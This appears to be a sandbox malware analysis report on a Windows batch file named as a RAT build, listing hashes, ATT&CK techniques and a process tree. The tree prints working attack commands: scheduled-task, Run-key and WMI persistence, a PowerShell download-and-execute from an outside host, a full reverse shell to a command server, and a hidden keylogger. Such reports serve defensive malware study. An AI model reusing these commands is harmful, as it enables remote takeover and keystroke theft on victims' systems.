3f6c856d4bac030269d1cf1fc1513f958a75392f4913c95d2ce8190daeab4c7e

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:49

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General

Target
rat_build_246079_014647.bat
Size 5KB
Sample260529-b86ltaav4j
SHA256 3f6c856d4bac030269d1cf1fc1513f958a75392f4913c95d2ce8190daeab4c7e
MD5 48cce80b4714b94dc21d4d4a3328782f
SHA1 09e7526083cef1b3d4bdc5070f029864a5fa112b
SHA512 978c615406dd537e940f6cb8dfd553f926567b99e7432ec59ba66e6ae8cce4b32c6b1836a7f9397f3113a7c369461ddc043c769105587c0767e838b31335067e
SSDEEP 96:NIz3WUygDvyyTH7cuTPFl/PkRA30NPgmV9E7S+10gRPK0/jiFgZk8mvlo1mr9b:NHUygDvHTPRdUA3ogiYOOjiFgkHlp9b
TLSH
T134B1F913A79B7120E9F06608DA373C48575DEAF71301CB4DBA88CED4465CE47D17A6A3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_246079.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2012	powershell.exe
2040	powershell.exe
3316	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_246079 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_246079.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3956	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1540	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4580	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5696	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2012	powershell.exe
2012	powershell.exe
2040	powershell.exe
2040	powershell.exe
3316	powershell.exe
3316	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4904	WMIC.exe
Token: SeSecurityPrivilege	4904	WMIC.exe
Token: SeTakeOwnershipPrivilege	4904	WMIC.exe
Token: SeLoadDriverPrivilege	4904	WMIC.exe
Token: SeSystemProfilePrivilege	4904	WMIC.exe
Token: SeSystemtimePrivilege	4904	WMIC.exe
Token: SeProfSingleProcessPrivilege	4904	WMIC.exe
Token: SeIncBasePriorityPrivilege	4904	WMIC.exe
Token: SeCreatePagefilePrivilege	4904	WMIC.exe
Token: SeBackupPrivilege	4904	WMIC.exe
Token: SeRestorePrivilege	4904	WMIC.exe
Token: SeShutdownPrivilege	4904	WMIC.exe
Token: SeDebugPrivilege	4904	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4904	WMIC.exe
Token: SeRemoteShutdownPrivilege	4904	WMIC.exe
Token: SeUndockPrivilege	4904	WMIC.exe
Token: SeManageVolumePrivilege	4904	WMIC.exe
Token: 33	4904	WMIC.exe
Token: 34	4904	WMIC.exe
Token: 35	4904	WMIC.exe
Token: 36	4904	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4904	WMIC.exe
Token: SeSecurityPrivilege	4904	WMIC.exe
Token: SeTakeOwnershipPrivilege	4904	WMIC.exe
Token: SeLoadDriverPrivilege	4904	WMIC.exe
Token: SeSystemProfilePrivilege	4904	WMIC.exe
Token: SeSystemtimePrivilege	4904	WMIC.exe
Token: SeProfSingleProcessPrivilege	4904	WMIC.exe
Token: SeIncBasePriorityPrivilege	4904	WMIC.exe
Token: SeCreatePagefilePrivilege	4904	WMIC.exe
Token: SeBackupPrivilege	4904	WMIC.exe
Token: SeRestorePrivilege	4904	WMIC.exe
Token: SeShutdownPrivilege	4904	WMIC.exe
Token: SeDebugPrivilege	4904	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4904	WMIC.exe
Token: SeRemoteShutdownPrivilege	4904	WMIC.exe
Token: SeUndockPrivilege	4904	WMIC.exe
Token: SeManageVolumePrivilege	4904	WMIC.exe
Token: 33	4904	WMIC.exe
Token: 34	4904	WMIC.exe
Token: 35	4904	WMIC.exe
Token: 36	4904	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1184	WMIC.exe
Token: SeSecurityPrivilege	1184	WMIC.exe
Token: SeTakeOwnershipPrivilege	1184	WMIC.exe
Token: SeLoadDriverPrivilege	1184	WMIC.exe
Token: SeSystemProfilePrivilege	1184	WMIC.exe
Token: SeSystemtimePrivilege	1184	WMIC.exe
Token: SeProfSingleProcessPrivilege	1184	WMIC.exe
Token: SeIncBasePriorityPrivilege	1184	WMIC.exe
Token: SeCreatePagefilePrivilege	1184	WMIC.exe
Token: SeBackupPrivilege	1184	WMIC.exe
Token: SeRestorePrivilege	1184	WMIC.exe
Token: SeShutdownPrivilege	1184	WMIC.exe
Token: SeDebugPrivilege	1184	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1184	WMIC.exe
Token: SeRemoteShutdownPrivilege	1184	WMIC.exe
Token: SeUndockPrivilege	1184	WMIC.exe
Token: SeManageVolumePrivilege	1184	WMIC.exe
Token: 33	1184	WMIC.exe
Token: 34	1184	WMIC.exe
Token: 35	1184	WMIC.exe
Token: 36	1184	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1184	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4724 wrote to memory of 5696	4724	cmd.exe	85
PID 4724 wrote to memory of 4580	4724	cmd.exe	86
PID 4724 wrote to memory of 4904	4724	cmd.exe	87
PID 4724 wrote to memory of 1184	4724	cmd.exe	88
PID 4724 wrote to memory of 2516	4724	cmd.exe	89
PID 4724 wrote to memory of 1540	4724	cmd.exe	92
PID 4724 wrote to memory of 3956	4724	cmd.exe	101
PID 4724 wrote to memory of 2012	4724	cmd.exe	102
PID 4724 wrote to memory of 2040	4724	cmd.exe	104
PID 4724 wrote to memory of 3316	4724	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_246079_014647.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4724
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_246079" /tr "C:\Users\Admin\AppData\Local\Temp\_246079.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5696
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_246079" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_246079.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4580
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_246079", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4904
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_246079", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_246079.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1184
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_246079.txt
  2⤵
  PID:2516
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1540
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_246079.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 33f71bf670f0c5b7922e0a91cfc84075b30f38ed2a7fde6a2f2da37053080486
MD5 a653f75f984d9182c8b43b7825520381
SHA1 a6f2c0214e4b08a4a5503f3793c93b0b0ccfc1bc
SHA512 5d34369c512fa3a3ab5239c3336ff04493650a5e8c48e3f650cc584a2e679fde7919b5e7fe6111341e0922cf6f940dada757370cdff07dbc963f5f2572e26b4c
TLSH
T192117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D214A17F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 43287c5f4d9be2c968790f353e378330ed76964c1b5a4f6acb2c8049bee9d1c3
MD5 896b9b774a3426a3ba7d44b50dc20f7d
SHA1 14c71133459384a1908907dba3101fff425ffc06
SHA512 838a3ec01fa0edc19ac91542f5e8211175a2d5ce0df775828916e06effc234ffcd763a6c9b68fb63f2c9ebf9826b5260a34340879d87f5629328e834cb00ddbb
TLSH
T105115727B39C89A1CC96153A409D9C1172B683D7409EDEDF7BC0D214A1BF584CB71190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_oymg5qha.tas.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oymg5qha.tas.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2012-4-0x0000021F7BD00000-0x0000021F7BD22000-memory.dmp

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